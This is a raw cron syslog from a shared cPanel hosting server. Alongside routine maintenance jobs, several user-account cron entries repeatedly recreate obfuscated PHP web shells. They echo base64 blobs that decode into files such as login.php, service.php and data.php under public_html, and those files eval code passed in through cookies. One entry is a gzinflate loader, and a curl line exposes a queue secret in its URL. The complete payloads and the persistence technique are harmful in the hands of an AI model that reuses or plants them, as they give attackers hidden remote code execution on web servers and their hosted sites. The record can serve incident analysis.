Mar  1 03:38:27 medusa run-parts(/etc/cron.daily)[11890]: finished logrotate
Mar  1 03:38:27 medusa run-parts(/etc/cron.daily)[15850]: starting man-db.cron
Mar  1 03:38:48 medusa run-parts(/etc/cron.daily)[19364]: finished man-db.cron
Mar  1 03:38:48 medusa anacron[4935]: Job `cron.daily' terminated (produced output)
Mar  1 03:38:51 medusa anacron[4935]: Normal exit (1 job run)
Mar  1 03:39:01 medusa CROND[24204]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 03:39:02 medusa CROND[24274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:39:02 medusa CROND[24277]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 03:39:02 medusa CROND[24278]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:39:02 medusa CROND[24279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:39:02 medusa CROND[24281]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:39:02 medusa CROND[24282]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:39:02 medusa CROND[24280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:39:02 medusa CROND[24287]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 03:39:02 medusa CROND[24288]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:39:02 medusa CROND[24290]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:39:02 medusa CROND[24291]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:39:02 medusa CROND[24292]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:39:02 medusa CROND[24293]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13030]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 03:40:01 medusa CROND[13057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 03:40:01 medusa CROND[13119]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 03:40:01 medusa CROND[13120]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:40:01 medusa CROND[13122]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13123]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 03:40:01 medusa CROND[13124]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 03:40:01 medusa CROND[13126]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:40:01 medusa CROND[13128]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13130]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13132]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13131]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13134]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 03:40:01 medusa CROND[13136]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:40:01 medusa CROND[13138]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 03:40:01 medusa CROND[13142]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:40:01 medusa CROND[13143]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:40:01 medusa CROND[13145]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:40:01 medusa CROND[13153]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:40:01 medusa CROND[13155]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:40:01 medusa CROND[13127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13154]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 03:40:01 medusa CROND[13150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:40:01 medusa CROND[13148]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 03:40:01 medusa CROND[13147]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 03:40:01 medusa CROND[13160]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 03:40:01 medusa CROND[13161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 03:41:01 medusa CROND[722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:41:01 medusa CROND[800]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 